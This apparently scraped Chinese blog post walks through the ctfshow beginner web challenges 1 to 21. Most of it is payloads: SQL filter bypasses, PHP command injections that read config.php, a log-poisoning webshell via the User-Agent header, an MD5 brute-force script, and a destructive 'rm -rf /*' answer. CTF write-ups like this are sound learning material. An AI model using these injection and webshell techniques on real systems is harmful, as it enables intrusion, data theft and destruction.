当前位置:网站首页>ctfshow 萌新web1-21
ctfshow 萌新web1-21
2022-08-04 16:53:00 【feng?wow】
目录
Web1
Intval解析整数型时会从左边开始,会绕过第一个if,利用||运算符,当发现id=2中为空,便会到id=1000,即可得到flag。
Payload:
?id=10 or id=1000
Web 2
Or被过滤,用||即可。
Payload:
?id=2||id=1000
Web 3
同上。
Web 4
同上。
Web 5
本题过滤了单双引号,减号,正反斜杠,x,hex,select等字符。
利用intval()函数转换字符串的特性,在参数中构造特殊的字符,来绕过intval()函数的转换;绕过前面两个过滤以后就来到执行SQL语句了,这里我们使用取反运算符(~)来控制SQL,获取flag。
取反绕过:
所以可利用取反运算符来绕过if。
Payload:
?id=~~1000
Web 6
同web5
Web 7
~也被过滤,可以用进制转化来写。
Payload:
?id=0b1111101000
Web 8
脑洞很大,根据提示,阿呆说要去埃塞尔比亚,所以删库跑路。
Payload:
?flag=rm -rf /*
Web 9
Payload:
?c=system(%27tac%20config.php%27)
;
Web 10
Payload:
?c=show_source(%27config.php%27);
?c=$x='sys';$y='tem';$z=$x.$y;$z('tac config.php');
Web 11
同上
Web 12
文件名被过滤,用base64编码绕过。
Payload:
?c=$b=base64_decode(%27Y29uZmlnLnBocA==%27);show_source($b);
Web 13
利用passthru和``即可,passthru和system作用类似,``可以相当于命令来执行。
用?>来结尾。
Payload:
?c=passthru("tac%20`ls`")?>
Web 14
可以利用伪协议来得到flag,构造一个include,然后其中用GET或POST传参。
Payload:
?c=include$_GET[feng]?>&feng=php://filter/read=convert.base64-encode/resource=config.php
``还没被过滤,可以直接传参。
Payload:
?c=echo%20`$_GET[feng]`?>&feng=tac%20config.php
Web 15
Payload:
?c=include$_GET[feng];&feng=php://filter/read=convert.base64-encode/resource=config.php
?c=echo%20`$_GET[feng]`;&feng=tac%20config.php
Web 16
很简单,使if条件成立即可。
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e")
写个脚本爆破一下即可。
import hashlib
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'#所有可能出现的字母
#从一个字符开始尝试,逐渐往下加
for a in str:
for b in str :
for c in str:
x=hashlib.md5(('ctfshow'+a+b+c).encode()).hexdigest()
#让ctfshow和字符a,b,c拼接在一起,转化为MD5值。
if x == 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
y=a+b+c
print('ctfshow'+y)#输出字符x的值
最终得到ctfshow36d,所以传入36d即可。
Payload:
?c=36d
Web 17
明显的文件包含,但是不能用php,本来尝试了一下data,没成功。
看到nginx想到了日志文件包含。
首先利用bp正常访问,修改UA头为一句话。
然后再传入
?c=/var/log/nginx/access.log
同时POST:
feng=system('tac 36d.php');
Web 18-web21
同上。
边栏推荐
猜你喜欢
黑龙江移动新魔百盒M411A_2+8_S905L3A_线刷固件包
18数藏解析
越来越火的图数据库到底能做什么?
海报 | 夏季高温,危化品安全风险的注意事项必须get!
Visual Studio 2022创建项目没有CUDA模板的解决方法
Hubei Mobile ZTE B860AV2.1_S905L_ flash firmware package
8月5日,麒麟信安邀您相约鲲鹏开发者创享日·长沙站!
Mobile Hisense IP102H_905L3-B_wire brush firmware package
Hubei Telecom Tianyi TY1608_S905L3B_MT7668_ card brush firmware package
【IDEA】idea配置
随机推荐
Mobile magic box CM201-1_CW_S905L2_MT7668_wire brush firmware package
黑龙江移动新魔百盒M411A_2+8_S905L3A_线刷固件包
18数藏解析
移动CM101s_MV100_EMMC_M8233_强刷后全分区线刷固件包
【JVM】JVM调优
\/ PN的综合实验
Analysis of Http-Sumggling Cache Vulnerability
转型阵痛期,好未来减亏容易增收难?
【商家联盟】云平台—异业联盟,打造线上线下商业相结合的系统
越来越火的图数据库到底能做什么?
生产环境重大bug,update加上索引字段会走索引进行更新?还是走全表扫描
gcc7.5.0编译ceres-solver报错‘is_trivially_default_constructible’ is not a member of ‘std’
力拓信创生态,博睿数据多款产品获得东方通与达梦数据库产品兼容互认证明
水能自发变成“消毒水”,83岁斯坦福教授:揭示冬天容易得流感的部分原因...
跨域传递数据(iframe)
码蹄集 - MT2165 - 小码哥的抽卡之旅1
"Distributed cloud best practices" BBS, on August 11, shenzhen
浙江移动咪咕MGV2000-K4_ZJ_S905l2_7661_线刷固件包
SAP 电商云 Spartacus UI 页面布局的设计原理
奖金池高达 20 万,RTE 2022 创新编程挑战赛正式开启